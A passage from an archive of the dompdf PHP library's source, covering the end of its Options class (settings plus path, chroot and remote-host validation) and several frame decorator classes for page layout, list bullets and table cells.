            $this->defaultFont = "serif";
        }
        return $this;
    }

    /**
     * @return string
     */
    public function getDefaultFont()
    {
        return $this->defaultFont;
    }

    /**
     * @param string $defaultMediaType
     * @return $this
     */
    public function setDefaultMediaType($defaultMediaType)
    {
        $this->defaultMediaType = $defaultMediaType;
        return $this;
    }

    /**
     * @return string
     */
    public function getDefaultMediaType()
    {
        return $this->defaultMediaType;
    }

    /**
     * @param string|float[] $defaultPaperSize
     * @return $this
     */
    public function setDefaultPaperSize($defaultPaperSize): self
    {
        $this->defaultPaperSize = $defaultPaperSize;
        return $this;
    }

    /**
     * @param string $defaultPaperOrientation
     * @return $this
     */
    public function setDefaultPaperOrientation(string $defaultPaperOrientation): self
    {
        $this->defaultPaperOrientation = $defaultPaperOrientation;
        return $this;
    }

    /**
     * @return string|float[]
     */
    public function getDefaultPaperSize()
    {
        return $this->defaultPaperSize;
    }

    /**
     * @return string
     */
    public function getDefaultPaperOrientation(): string
    {
        return $this->defaultPaperOrientation;
    }

    /**
     * @param int $dpi
     * @return $this
     */
    public function setDpi($dpi)
    {
        $this->dpi = $dpi;
        return $this;
    }

    /**
     * @return int
     */
    public function getDpi()
    {
        return $this->dpi;
    }

    /**
     * @param string $fontCache
     * @return $this
     */
    public function setFontCache($fontCache)
    {
        if (!is_callable($this->artifactPathValidation) || ($this->artifactPathValidation)($fontCache, "fontCache") === true) {
            $this->fontCache = $fontCache;
        }
        return $this;
    }

    /**
     * @return string
     */
    public function getFontCache()
    {
        return $this->fontCache;
    }

    /**
     * @param string $fontDir
     * @return $this
     */
    public function setFontDir($fontDir)
    {
        if (!is_callable($this->artifactPathValidation) || ($this->artifactPathValidation)($fontDir, "fontDir") === true) {
            $this->fontDir = $fontDir;
        }
        return $this;
    }

    /**
     * @return string
     */
    public function getFontDir()
    {
        return $this->fontDir;
    }

    /**
     * @param float $fontHeightRatio
     * @return $this
     */
    public function setFontHeightRatio($fontHeightRatio)
    {
        $this->fontHeightRatio = $fontHeightRatio;
        return $this;
    }

    /**
     * @return float
     */
    public function getFontHeightRatio()
    {
        return $this->fontHeightRatio;
    }

    /**
     * @param boolean $isFontSubsettingEnabled
     * @return $this
     */
    public function setIsFontSubsettingEnabled($isFontSubsettingEnabled)
    {
        $this->isFontSubsettingEnabled = $isFontSubsettingEnabled;
        return $this;
    }

    /**
     * @return boolean
     */
    public function getIsFontSubsettingEnabled()
    {
        return $this->isFontSubsettingEnabled;
    }

    /**
     * @return boolean
     */
    public function isFontSubsettingEnabled()
    {
        return $this->getIsFontSubsettingEnabled();
    }

    /**
     * @deprecated
     * @param boolean $isHtml5ParserEnabled
     * @return $this
     */
    public function setIsHtml5ParserEnabled($isHtml5ParserEnabled)
    {
        $this->isHtml5ParserEnabled = $isHtml5ParserEnabled;
        return $this;
    }

    /**
     * @deprecated
     * @return boolean
     */
    public function getIsHtml5ParserEnabled()
    {
        return $this->isHtml5ParserEnabled;
    }

    /**
     * @deprecated
     * @return boolean
     */
    public function isHtml5ParserEnabled()
    {
        return $this->getIsHtml5ParserEnabled();
    }

    /**
     * @param boolean $isJavascriptEnabled
     * @return $this
     */
    public function setIsJavascriptEnabled($isJavascriptEnabled)
    {
        $this->isJavascriptEnabled = $isJavascriptEnabled;
        return $this;
    }

    /**
     * @return boolean
     */
    public function getIsJavascriptEnabled()
    {
        return $this->isJavascriptEnabled;
    }

    /**
     * @return boolean
     */
    public function isJavascriptEnabled()
    {
        return $this->getIsJavascriptEnabled();
    }

    /**
     * @param boolean $isPhpEnabled
     * @return $this
     */
    public function setIsPhpEnabled($isPhpEnabled)
    {
        $this->isPhpEnabled = $isPhpEnabled;
        return $this;
    }

    /**
     * @return boolean
     */
    public function getIsPhpEnabled()
    {
        return $this->isPhpEnabled;
    }

    /**
     * @return boolean
     */
    public function isPhpEnabled()
    {
        return $this->getIsPhpEnabled();
    }

    /**
     * @param boolean $isRemoteEnabled
     * @return $this
     */
    public function setIsRemoteEnabled($isRemoteEnabled)
    {
        $this->isRemoteEnabled = $isRemoteEnabled;
        return $this;
    }

    /**
     * @return boolean
     */
    public function getIsRemoteEnabled()
    {
        return $this->isRemoteEnabled;
    }

    /**
     * @return boolean
     */
    public function isRemoteEnabled()
    {
        return $this->getIsRemoteEnabled();
    }

    /**
     * @param array|null $allowedRemoteHosts
     * @return $this
     */
    public function setAllowedRemoteHosts($allowedRemoteHosts)
    {
        if (is_array($allowedRemoteHosts)) {
            // Set hosts to lowercase
            foreach ($allowedRemoteHosts as &$host) {
                $host = mb_strtolower($host);
            }

            unset($host);
        }

        $this->allowedRemoteHosts = $allowedRemoteHosts;
        return $this;
    }

    /**
     * @return array|null
     */
    public function getAllowedRemoteHosts()
    {
        return $this->allowedRemoteHosts;
    }

    /**
     * @param string $logOutputFile
     * @return $this
     */
    public function setLogOutputFile($logOutputFile)
    {
        if (!is_callable($this->artifactPathValidation) || ($this->artifactPathValidation)($logOutputFile, "logOutputFile") === true) {
            $this->logOutputFile = $logOutputFile;
        }
        return $this;
    }

    /**
     * @return string
     */
    public function getLogOutputFile()
    {
        return $this->logOutputFile;
    }

    /**
     * @param string $tempDir
     * @return $this
     */
    public function setTempDir($tempDir)
    {
        if (!is_callable($this->artifactPathValidation) || ($this->artifactPathValidation)($tempDir, "tempDir") === true) {
            $this->tempDir = $tempDir;
        }
        return $this;
    }

    /**
     * @return string
     */
    public function getTempDir()
    {
        return $this->tempDir;
    }

    /**
     * @param string $rootDir
     * @return $this
     */
    public function setRootDir($rootDir)
    {
        if (!is_callable($this->artifactPathValidation) || ($this->artifactPathValidation)($rootDir, "rootDir") === true) {
            $this->rootDir = $rootDir;
        }
        return $this;
    }

    /**
     * @return string
     */
    public function getRootDir()
    {
        return $this->rootDir;
    }

    /**
     * Sets the HTTP context
     *
     * @param resource|array $httpContext
     * @return $this
     */
    public function setHttpContext($httpContext)
    {
        $this->httpContext = is_array($httpContext) ? stream_context_create($httpContext) : $httpContext;
        return $this;
    }

    /**
     * Returns the HTTP context
     *
     * @return resource
     */
    public function getHttpContext()
    {
        return $this->httpContext;
    }


    public function validateArtifactPath(?string $path, string $option)
    {
        if ($path === null) {
            return true;
        }
        $parsed_uri = parse_url($path);
        if ($parsed_uri === false || (array_key_exists("scheme", $parsed_uri) && strtolower($parsed_uri["scheme"]) === "phar")) {
            return false;
        }
        return true;
    }

    public function validateLocalUri(string $uri)
    {
        if ($uri === null || strlen($uri) === 0) {
            return [false, "The URI must not be empty."];
        }

        $realfile = realpath(str_replace("file://", "", $uri));

        $dirs = $this->chroot;
        $dirs[] = $this->rootDir;
        $chrootValid = false;
        foreach ($dirs as $chrootPath) {
            $chrootPath = realpath($chrootPath);
            if ($chrootPath !== false && strpos($realfile, $chrootPath) === 0) {
                $chrootValid = true;
                break;
            }
        }
        if ($chrootValid !== true) {
            return [false, "Permission denied. The file could not be found under the paths specified by Options::chroot."];
        }

        if (!$realfile) {
            return [false, "File not found."];
        }

        return [true, null];
    }

    public function validatePharUri(string $uri)
    {
        if ($uri === null || strlen($uri) === 0) {
            return [false, "The URI must not be empty."];
        }

        $file = substr(substr($uri, 0, strpos($uri, ".phar") + 5), 7);
        return $this->validateLocalUri($file);
    }

    public function validateRemoteUri(string $uri)
    {
        if ($uri === null || strlen($uri) === 0) {
            return [false, "The URI must not be empty."];
        }

        if (!$this->isRemoteEnabled) {
            return [false, "Remote file requested, but remote file download is disabled."];
        }

        if (is_array($this->allowedRemoteHosts) && count($this->allowedRemoteHosts) > 0) {
            $host = parse_url($uri, PHP_URL_HOST);
            $host = mb_strtolower($host);

            if (!in_array($host, $this->allowedRemoteHosts, true)) {
                return [false, "Remote host is not in allowed list: " . $host];
            }
        }

        return [true, null];
    }
}
vendor/dompdf/dompdf/src/FrameDecorator/AbstractFrameDecorator.php000066600000053761151150443010021353 0ustar00<?php
/**
 * @package dompdf
 * @link    https://github.com/dompdf/dompdf
 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
 */
namespace Dompdf\FrameDecorator;

use DOMElement;
use DOMNode;
use Dompdf\Helpers;
use Dompdf\Dompdf;
use Dompdf\Exception;
use Dompdf\Frame;
use Dompdf\Frame\Factory;
use Dompdf\Frame\FrameListIterator;
use Dompdf\Frame\FrameTreeIterator;
use Dompdf\FrameReflower\AbstractFrameReflower;
use Dompdf\Css\Style;
use Dompdf\Positioner\AbstractPositioner;

/**
 * Base AbstractFrameDecorator class
 *
 * @package dompdf
 */
abstract class AbstractFrameDecorator extends Frame
{
    const DEFAULT_COUNTER = "-dompdf-default-counter";

    /**
     * array([id] => counter_value) (for generated content)
     *
     * @var array
     */
    public $_counters = [];

    /**
     * The root node of the DOM tree
     *
     * @var Frame
     */
    protected $_root;

    /**
     * The decorated frame
     *
     * @var Frame
     */
    protected $_frame;

    /**
     * AbstractPositioner object used to position this frame (Strategy pattern)
     *
     * @var AbstractPositioner
     */
    protected $_positioner;

    /**
     * Reflower object used to calculate frame dimensions (Strategy pattern)
     *
     * @var AbstractFrameReflower
     */
    protected $_reflower;

    /**
     * Reference to the current dompdf instance
     *
     * @var Dompdf
     */
    protected $_dompdf;

    /**
     * First block parent
     *
     * @var Block
     */
    private $_block_parent;

    /**
     * First positioned parent (position: relative | absolute | fixed)
     *
     * @var AbstractFrameDecorator
     */
    private $_positioned_parent;

    /**
     * Cache for the get_parent while loop results
     *
     * @var Frame
     */
    private $_cached_parent;

    /**
     * Whether generated content and counters have been set.
     *
     * @var bool
     */
    public $content_set = false;

    /**
     * Whether the frame has been split
     *
     * @var bool
     */
    public $is_split = false;

    /**
     * Whether the frame is a split-off frame
     *
     * @var bool
     */
    public $is_split_off = false;

    /**
     * Class constructor
     *
     * @param Frame $frame   The decoration target
     * @param Dompdf $dompdf The Dompdf object
     */
    function __construct(Frame $frame, Dompdf $dompdf)
    {
        $this->_frame = $frame;
        $this->_root = null;
        $this->_dompdf = $dompdf;
        $frame->set_decorator($this);
    }

    /**
     * "Destructor": forcibly free all references held by this object
     *
     * @param bool $recursive if true, call dispose on all children
     */
    function dispose($recursive = false)
    {
        if ($recursive) {
            while ($child = $this->get_first_child()) {
                $child->dispose(true);
            }
        }

        $this->_root = null;
        unset($this->_root);

        $this->_frame->dispose(true);
        $this->_frame = null;
        unset($this->_frame);

        $this->_positioner = null;
        unset($this->_positioner);

        $this->_reflower = null;
        unset($this->_reflower);
    }

    /**
     * Return a copy of this frame with $node as its node
     *
     * @param DOMNode $node
     *
     * @return AbstractFrameDecorator
     */
    function copy(DOMNode $node)
    {
        $frame = new Frame($node);
        $style = clone $this->_frame->get_style();

        $style->reset();
        $frame->set_style($style);

        if ($node instanceof DOMElement && $node->hasAttribute("id")) {
            $node->setAttribute("data-dompdf-original-id", $node->getAttribute("id"));
            $node->removeAttribute("id");
        }

        return Factory::decorate_frame($frame, $this->_dompdf, $this->_root);
    }

    /**
     * Create a deep copy: copy this node and all children
     *
     * @return AbstractFrameDecorator
     */
    function deep_copy()
    {
        $node = $this->_frame->get_node()->cloneNode();
        $frame = new Frame($node);
        $style = clone $this->_frame->get_style();

        $style->reset();
        $frame->set_style($style);

        if ($node instanceof DOMElement && $node->hasAttribute("id")) {
            $node->setAttribute("data-dompdf-original-id", $node->getAttribute("id"));
            $node->removeAttribute("id");
        }

        $deco = Factory::decorate_frame($frame, $this->_dompdf, $this->_root);

        foreach ($this->get_children() as $child) {
            $deco->append_child($child->deep_copy());
        }

        return $deco;
    }

    /**
     * Create an anonymous child frame, inheriting styles from this frame.
     *
     * @param string $node_name
     * @param string $display
     *
     * @return AbstractFrameDecorator
     */
    public function create_anonymous_child(string $node_name, string $display): AbstractFrameDecorator
    {
        $style = $this->get_style();
        $child_style = $style->get_stylesheet()->create_style();
        $child_style->set_prop("display", $display);
        $child_style->inherit($style);

        $node = $this->get_node()->ownerDocument->createElement($node_name);
        $frame = new Frame($node);
        $frame->set_style($child_style);

        return Factory::decorate_frame($frame, $this->_dompdf, $this->_root);
    }

    function reset()
    {
        $this->_frame->reset();
        $this->_reflower->reset();
        $this->reset_generated_content();
        $this->revert_counter_increment();

        $this->content_set = false;
        $this->_counters = [];

        // clear parent lookup caches
        $this->_cached_parent = null;
        $this->_block_parent = null;
        $this->_positioned_parent = null;

        // Reset all children
        foreach ($this->get_children() as $child) {
            $child->reset();
        }
    }

    /**
     * If this represents a generated node then child nodes represent generated
     * content. Remove the children since the content will be generated next
     * time this frame is reflowed.
     */
    protected function reset_generated_content(): void
    {
        if ($this->content_set
            && $this->get_node()->nodeName === "dompdf_generated"
        ) {
            $content = $this->get_style()->content;

            if ($content !== "normal" && $content !== "none") {
                foreach ($this->get_children() as $child) {
                    $this->remove_child($child);
                }
            }
        }
    }

    /**
     * Decrement any counters that were incremented on the current node, unless
     * that node is the body.
     */
    protected function revert_counter_increment(): void
    {
        if ($this->content_set
            && $this->get_node()->nodeName !== "body"
            && ($decrement = $this->get_style()->counter_increment) !== "none"
        ) {
            $this->decrement_counters($decrement);
        }
    }

    // Getters -----------

    function get_id()
    {
        return $this->_frame->get_id();
    }

    /**
     * @return Frame
     */
    function get_frame()
    {
        return $this->_frame;
    }

    function get_node()
    {
        return $this->_frame->get_node();
    }

    function get_style()
    {
        return $this->_frame->get_style();
    }

    /**
     * @deprecated
     */
    function get_original_style()
    {
        return $this->_frame->get_style();
    }

    function get_containing_block($i = null)
    {
        return $this->_frame->get_containing_block($i);
    }

    function get_position($i = null)
    {
        return $this->_frame->get_position($i);
    }

    /**
     * @return Dompdf
     */
    function get_dompdf()
    {
        return $this->_dompdf;
    }

    public function get_margin_width(): float
    {
        return $this->_frame->get_margin_width();
    }

    public function get_margin_height(): float
    {
        return $this->_frame->get_margin_height();
    }

    public function get_content_box(): array
    {
        return $this->_frame->get_content_box();
    }

    public function get_padding_box(): array
    {
        return $this->_frame->get_padding_box();
    }

    public function get_border_box(): array
    {
        return $this->_frame->get_border_box();
    }

    function set_id($id)
    {
        $this->_frame->set_id($id);
    }

    public function set_style(Style $style): void
    {
        $this->_frame->set_style($style);
    }

    function set_containing_block($x = null, $y = null, $w = null, $h = null)
    {
        $this->_frame->set_containing_block($x, $y, $w, $h);
    }

    function set_position($x = null, $y = null)
    {
        $this->_frame->set_position($x, $y);
    }

    function is_auto_height()
    {
        return $this->_frame->is_auto_height();
    }

    function is_auto_width()
    {
        return $this->_frame->is_auto_width();
    }

    function __toString()
    {
        return $this->_frame->__toString();
    }

    function prepend_child(Frame $child, $update_node = true)
    {
        while ($child instanceof AbstractFrameDecorator) {
            $child = $child->_frame;
        }

        $this->_frame->prepend_child($child, $update_node);
    }

    function append_child(Frame $child, $update_node = true)
    {
        while ($child instanceof AbstractFrameDecorator) {
            $child = $child->_frame;
        }

        $this->_frame->append_child($child, $update_node);
    }

    function insert_child_before(Frame $new_child, Frame $ref, $update_node = true)
    {
        while ($new_child instanceof AbstractFrameDecorator) {
            $new_child = $new_child->_frame;
        }

        if ($ref instanceof AbstractFrameDecorator) {
            $ref = $ref->_frame;
        }

        $this->_frame->insert_child_before($new_child, $ref, $update_node);
    }

    function insert_child_after(Frame $new_child, Frame $ref, $update_node = true)
    {
        $insert_frame = $new_child;
        while ($insert_frame instanceof AbstractFrameDecorator) {
            $insert_frame = $insert_frame->_frame;
        }

        $reference_frame = $ref;
        while ($reference_frame instanceof AbstractFrameDecorator) {
            $reference_frame = $reference_frame->_frame;
        }

        $this->_frame->insert_child_after($insert_frame, $reference_frame, $update_node);
    }

    function remove_child(Frame $child, $update_node = true)
    {
        while ($child instanceof AbstractFrameDecorator) {
            $child = $child->_frame;
        }

        return $this->_frame->remove_child($child, $update_node);
    }

    /**
     * @param bool $use_cache
     * @return AbstractFrameDecorator
     */
    function get_parent($use_cache = true)
    {
        if ($use_cache && $this->_cached_parent) {
            return $this->_cached_parent;
        }
        $p = $this->_frame->get_parent();
        if ($p && $deco = $p->get_decorator()) {
            while ($tmp = $deco->get_decorator()) {
                $deco = $tmp;
            }

            return $this->_cached_parent = $deco;
        } else {
            return $this->_cached_parent = $p;
        }
    }

    /**
     * @return AbstractFrameDecorator
     */
    function get_first_child()
    {
        $c = $this->_frame->get_first_child();
        if ($c && $deco = $c->get_decorator()) {
            while ($tmp = $deco->get_decorator()) {
                $deco = $tmp;
            }

            return $deco;
        } else {
            if ($c) {
                return $c;
            }
        }

        return null;
    }

    /**
     * @return AbstractFrameDecorator
     */
    function get_last_child()
    {
        $c = $this->_frame->get_last_child();
        if ($c && $deco = $c->get_decorator()) {
            while ($tmp = $deco->get_decorator()) {
                $deco = $tmp;
            }

            return $deco;
        } else {
            if ($c) {
                return $c;
            }
        }

        return null;
    }

    /**
     * @return AbstractFrameDecorator
     */
    function get_prev_sibling()
    {
        $s = $this->_frame->get_prev_sibling();
        if ($s && $deco = $s->get_decorator()) {
            while ($tmp = $deco->get_decorator()) {
                $deco = $tmp;
            }

            return $deco;
        } else {
            if ($s) {
                return $s;
            }
        }

        return null;
    }

    /**
     * @return AbstractFrameDecorator
     */
    function get_next_sibling()
    {
        $s = $this->_frame->get_next_sibling();
        if ($s && $deco = $s->get_decorator()) {
            while ($tmp = $deco->get_decorator()) {
                $deco = $tmp;
            }

            return $deco;
        } else {
            if ($s) {
                return $s;
            }
        }

        return null;
    }

    /**
     * @return FrameListIterator<AbstractFrameDecorator>
     */
    public function get_children(): FrameListIterator
    {
        return new FrameListIterator($this);
    }

    /**
     * @return FrameTreeIterator<AbstractFrameDecorator>
     */
    function get_subtree(): FrameTreeIterator
    {
        return new FrameTreeIterator($this);
    }

    function set_positioner(AbstractPositioner $posn)
    {
        $this->_positioner = $posn;
        if ($this->_frame instanceof AbstractFrameDecorator) {
            $this->_frame->set_positioner($posn);
        }
    }

    function set_reflower(AbstractFrameReflower $reflower)
    {
        $this->_reflower = $reflower;
        if ($this->_frame instanceof AbstractFrameDecorator) {
            $this->_frame->set_reflower($reflower);
        }
    }

    /**
     * @return AbstractPositioner
     */
    function get_positioner()
    {
        return $this->_positioner;
    }

    /**
     * @return AbstractFrameReflower
     */
    function get_reflower()
    {
        return $this->_reflower;
    }

    /**
     * @param Frame $root
     */
    function set_root(Frame $root)
    {
        $this->_root = $root;

        if ($this->_frame instanceof AbstractFrameDecorator) {
            $this->_frame->set_root($root);
        }
    }

    /**
     * @return Page
     */
    function get_root()
    {
        return $this->_root;
    }

    /**
     * @return Block
     */
    function find_block_parent()
    {
        // Find our nearest block level parent
        if (isset($this->_block_parent)) {
            return $this->_block_parent;
        }

        $p = $this->get_parent();

        while ($p) {
            if ($p->is_block()) {
                break;
            }

            $p = $p->get_parent();
        }

        return $this->_block_parent = $p;
    }

    /**
     * @return AbstractFrameDecorator
     */
    function find_positioned_parent()
    {
        // Find our nearest relative positioned parent
        if (isset($this->_positioned_parent)) {
            return $this->_positioned_parent;
        }

        $p = $this->get_parent();
        while ($p) {
            if ($p->is_positioned()) {
                break;
            }

            $p = $p->get_parent();
        }

        if (!$p) {
            $p = $this->_root;
        }

        return $this->_positioned_parent = $p;
    }

    /**
     * Split this frame at $child.
     * The current frame is cloned and $child and all children following
     * $child are added to the clone.  The clone is then passed to the
     * current frame's parent->split() method.
     *
     * @param Frame|null $child
     * @param bool $page_break
     * @param bool $forced Whether the page break is forced.
     *
     * @throws Exception
     */
    public function split(?Frame $child = null, bool $page_break = false, bool $forced = false): void
    {
        if (is_null($child)) {
            $this->get_parent()->split($this, $page_break, $forced);
            return;
        }

        if ($child->get_parent() !== $this) {
            throw new Exception("Unable to split: frame is not a child of this one.");
        }

        $this->revert_counter_increment();

        $node = $this->_frame->get_node();
        $split = $this->copy($node->cloneNode());

        $style = $this->_frame->get_style();
        $split_style = $split->get_style();

        // Truncate the box decoration at the split, except for the body
        if ($node->nodeName !== "body") {
            // Clear bottom decoration of original frame
            $style->margin_bottom = 0.0;
            $style->padding_bottom = 0.0;
            $style->border_bottom_width = 0.0;
            $style->border_bottom_left_radius = 0.0;
            $style->border_bottom_right_radius = 0.0;

            // Clear top decoration of split frame
            $split_style->margin_top = 0.0;
            $split_style->padding_top = 0.0;
            $split_style->border_top_width = 0.0;
            $split_style->border_top_left_radius = 0.0;
            $split_style->border_top_right_radius = 0.0;
            $split_style->page_break_before = "auto";
        }

        $split_style->text_indent = 0.0;
        $split_style->counter_reset = "none";

        $this->is_split = true;
        $split->is_split_off = true;
        $split->_already_pushed = true;

        $this->get_parent()->insert_child_after($split, $this);

        if ($this instanceof Block) {
            // Remove the frames that will be moved to the new split node from
            // the line boxes
            $this->remove_frames_from_line($child);

            // recalculate the float offsets after paging
            foreach ($this->get_line_boxes() as $line_box) {
                $line_box->get_float_offsets();
            }
        }

        if (!$forced) {
            // Reset top margin in case of an unforced page break
            // https://www.w3.org/TR/CSS21/page.html#allowed-page-breaks
            $child->get_style()->margin_top = 0.0;
        }

        // Add $child and all following siblings to the new split node
        $iter = $child;
        while ($iter) {
            $frame = $iter;
            $iter = $iter->get_next_sibling();
            $frame->reset();
            $split->append_child($frame);
        }

        $this->get_parent()->split($split, $page_break, $forced);

        // Preserve the current counter values. This must be done after the
        // parent split, as counters get reset on frame reset
        $split->_counters = $this->_counters;
    }

    /**
     * @param array $counters
     */
    public function reset_counters(array $counters): void
    {
        foreach ($counters as $id => $value) {
            $this->reset_counter($id, $value);
        }
    }

    /**
     * @param string $id
     * @param int    $value
     */
    public function reset_counter(string $id = self::DEFAULT_COUNTER, int $value = 0): void
    {
        $this->get_parent()->_counters[$id] = $value;
    }

    /**
     * @param array $counters
     */
    public function decrement_counters(array $counters): void
    {
        foreach ($counters as $id => $increment) {
            $this->increment_counter($id, $increment * -1);
        }
    }

    /**
     * @param array $counters
     */
    public function increment_counters(array $counters): void
    {
        foreach ($counters as $id => $increment) {
            $this->increment_counter($id, $increment);
        }
    }

    /**
     * @param string $id
     * @param int    $increment
     */
    public function increment_counter(string $id = self::DEFAULT_COUNTER, int $increment = 1): void
    {
        $counter_frame = $this->lookup_counter_frame($id, true);
        $counter_frame->_counters[$id] += $increment;
    }

    /**
     * @param string $id
     * @param bool   $auto_reset Instantiate a new counter if none with the given name is in scope.
     *
     * @return AbstractFrameDecorator|null
     */
    public function lookup_counter_frame(
        string $id = self::DEFAULT_COUNTER,
        bool $auto_reset = false
    ): ?AbstractFrameDecorator {
        $f = $this->get_parent();

        while ($f) {
            if (isset($f->_counters[$id])) {
                return $f;
            }
            $f = $f->get_parent();
        }

        if ($auto_reset) {
            $f = $this->get_parent();
            $f->_counters[$id] = 0;
            return $f;
        }

        return null;
    }

    /**
     * @param string $id
     * @param string $type
     *
     * @return string
     *
     * TODO: What version is the best : this one or the one in ListBullet ?
     */
    public function counter_value(string $id = self::DEFAULT_COUNTER, string $type = "decimal"): string
    {
        $value = $this->_counters[$id] ?? 0;

        switch ($type) {
            default:
            case "decimal":
                return $value;

            case "decimal-leading-zero":
                return str_pad($value, 2, "0", STR_PAD_LEFT);

            case "lower-roman":
                return Helpers::dec2roman($value);

            case "upper-roman":
                return strtoupper(Helpers::dec2roman($value));

            case "lower-latin":
            case "lower-alpha":
                return chr((($value - 1) % 26) + ord('a'));

            case "upper-latin":
            case "upper-alpha":
                return chr((($value - 1) % 26) + ord('A'));

            case "lower-greek":
                return Helpers::unichr($value + 944);

            case "upper-greek":
                return Helpers::unichr($value + 912);
        }
    }

    final function position()
    {
        $this->_positioner->position($this);
    }

    /**
     * @param float $offset_x
     * @param float $offset_y
     * @param bool  $ignore_self
     */
    final function move(float $offset_x, float $offset_y, bool $ignore_self = false): void
    {
        $this->_positioner->move($this, $offset_x, $offset_y, $ignore_self);
    }

    /**
     * @param Block|null $block
     */
    final function reflow(Block $block = null)
    {
        // Uncomment this to see the frames before they're laid out, instead of
        // during rendering.
        //echo $this->_frame; flush();
        $this->_reflower->reflow($block);
    }

    /**
     * @return array
     */
    final public function get_min_max_width(): array
    {
        return $this->_reflower->get_min_max_width();
    }
}
vendor/dompdf/dompdf/src/FrameDecorator/ListBulletImage.php000066600000005322151150443010020006 0ustar00<?php
/**
 * @package dompdf
 * @link    https://github.com/dompdf/dompdf
 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
 */
namespace Dompdf\FrameDecorator;

use Dompdf\Dompdf;
use Dompdf\Frame;
use Dompdf\Image\Cache;

/**
 * Decorates frames for list bullets with custom images
 *
 * @package dompdf
 */
class ListBulletImage extends ListBullet
{

    /**
     * The underlying image frame
     *
     * @var Image
     */
    protected $_img;

    /**
     * The image's width in pixels
     *
     * @var float
     */
    protected $_width;

    /**
     * The image's height in pixels
     *
     * @var float
     */
    protected $_height;

    /**
     * ListBulletImage constructor.
     * @param Frame $frame
     * @param Dompdf $dompdf
     */
    function __construct(Frame $frame, Dompdf $dompdf)
    {
        $style = $frame->get_style();
        $url = $style->list_style_image;
        $frame->get_node()->setAttribute("src", $url);
        $this->_img = new Image($frame, $dompdf);
        parent::__construct($this->_img, $dompdf);

        $url = $this->_img->get_image_url();

        if (Cache::is_broken($url)) {
            $this->_width = parent::get_width();
            $this->_height = parent::get_height();
        } else {
            // Resample the bullet image to be consistent with 'auto' sized images
            [$width, $height] = $this->_img->get_intrinsic_dimensions();
            $this->_width = $this->_img->resample($width);
            $this->_height = $this->_img->resample($height);
        }
    }

    public function get_width(): float
    {
        return $this->_width;
    }

    public function get_height(): float
    {
        return $this->_height;
    }

    public function get_margin_width(): float
    {
        $style = $this->get_style();
        return $this->_width + $style->font_size * self::MARKER_INDENT;
    }

    public function get_margin_height(): float
    {
        $fontMetrics = $this->_dompdf->getFontMetrics();
        $style = $this->get_style();
        $font = $style->font_family;
        $size = $style->font_size;
        $fontHeight = $fontMetrics->getFontHeight($font, $size);
        $baseline = $fontMetrics->getFontBaseline($font, $size);

        // This is the same factor as used in
        // `FrameDecorator\Text::get_margin_height()`
        $f = $style->line_height / ($size > 0 ? $size : 1);

        // FIXME: Tries to approximate replacing the space above the font
        // baseline with the image
        return $f * ($fontHeight - $baseline) + $this->_height;
    }

    /**
     * Return image url
     *
     * @return string
     */
    function get_image_url()
    {
        return $this->_img->get_image_url();
    }
}
vendor/dompdf/dompdf/src/FrameDecorator/TableCell.php000066600000005217151150443010016612 0ustar00<?php
/**
 * @package dompdf
 * @link    https://github.com/dompdf/dompdf
 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
 */
namespace Dompdf\FrameDecorator;

use Dompdf\Dompdf;
use Dompdf\Frame;
use Dompdf\FrameDecorator\Block as BlockFrameDecorator;

/**
 * Decorates table cells for layout
 *
 * @package dompdf
 */
class TableCell extends BlockFrameDecorator
{
    /**
     * @var float
     */
    protected $content_height;

    /**
     * TableCell constructor.
     * @param Frame $frame
     * @param Dompdf $dompdf
     */
    function __construct(Frame $frame, Dompdf $dompdf)
    {
        parent::__construct($frame, $dompdf);
        $this->content_height = 0.0;
    }

    function reset()
    {
        parent::reset();
        $this->content_height = 0.0;
    }

    /**
     * @return float
     */
    public function get_content_height(): float
    {
        return $this->content_height;
    }

    /**
     * @param float $height
     */
    public function set_content_height(float $height): void
    {
        $this->content_height = $height;
    }

    /**
     * @param float $height
     */
    public function set_cell_height(float $height): void
    {
        $style = $this->get_style();
        $v_space = (float)$style->length_in_pt(
            [
                $style->margin_top,
                $style->padding_top,
                $style->border_top_width,
                $style->border_bottom_width,
                $style->padding_bottom,
                $style->margin_bottom
            ],
            (float)$style->length_in_pt($style->height)
        );

        $new_height = $height - $v_space;
        $style->set_used("height", $new_height);

        if ($new_height > $this->content_height) {
            $y_offset = 0;

            // Adjust our vertical alignment
            switch ($style->vertical_align) {
                default:
                case "baseline":
                    // FIXME: this isn't right

                case "top":
                    // Don't need to do anything
                    return;

                case "middle":
                    $y_offset = ($new_height - $this->content_height) / 2;
                    break;

                case "bottom":
                    $y_offset = $new_height - $this->content_height;
                    break;
            }

            if ($y_offset) {
                // Move our children
                foreach ($this->get_line_boxes() as $line) {
                    foreach ($line->get_frames() as $frame) {
                        $frame->move(0, $y_offset);
                    }
                }
            }
        }
    }
}
vendor/dompdf/dompdf/src/FrameDecorator/ListBullet.php000066600000005407151150443010017047 0ustar00<?php
/**
 * @package dompdf
 * @link    https://github.com/dompdf/dompdf
 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
 */
namespace Dompdf\FrameDecorator;

use Dompdf\Dompdf;
use Dompdf\Frame;

/**
 * Decorates frames for list bullet rendering
 *
 * @package dompdf
 */
class ListBullet extends AbstractFrameDecorator
{
    /**
     * Bullet diameter as fraction of font size.
     */
    public const BULLET_SIZE = 0.35;

    /**
     * Bullet offset from font baseline as fraction of font size.
     */
    public const BULLET_OFFSET = 0.1;

    /**
     * Thickness of bullet outline as fraction of font size.
     * See also `DECO_THICKNESS`. Screen: 0.08, print: better less, e.g. 0.04.
     */
    public const BULLET_THICKNESS = 0.04;

    /**
     * Indentation from the start of the line as fraction of font size.
     */
    public const MARKER_INDENT = 0.52;

    /**
     * ListBullet constructor.
     * @param Frame $frame
     * @param Dompdf $dompdf
     */
    function __construct(Frame $frame, Dompdf $dompdf)
    {
        parent::__construct($frame, $dompdf);
    }

    /**
     * Get the width of the bullet symbol.
     *
     * @return float
     */
    public function get_width(): float
    {
        $style = $this->_frame->get_style();

        if ($style->list_style_type === "none") {
            return 0.0;
        }

        return $style->font_size * self::BULLET_SIZE;
    }

    /**
     * Get the height of the bullet symbol.
     *
     * @return float
     */
    public function get_height(): float
    {
        $style = $this->_frame->get_style();

        if ($style->list_style_type === "none") {
            return 0.0;
        }

        return $style->font_size * self::BULLET_SIZE;
    }

    /**
     * Get the width of the bullet, including indentation.
     */
    public function get_margin_width(): float
    {
        $style = $this->get_style();

        if ($style->list_style_type === "none") {
            return 0.0;
        }

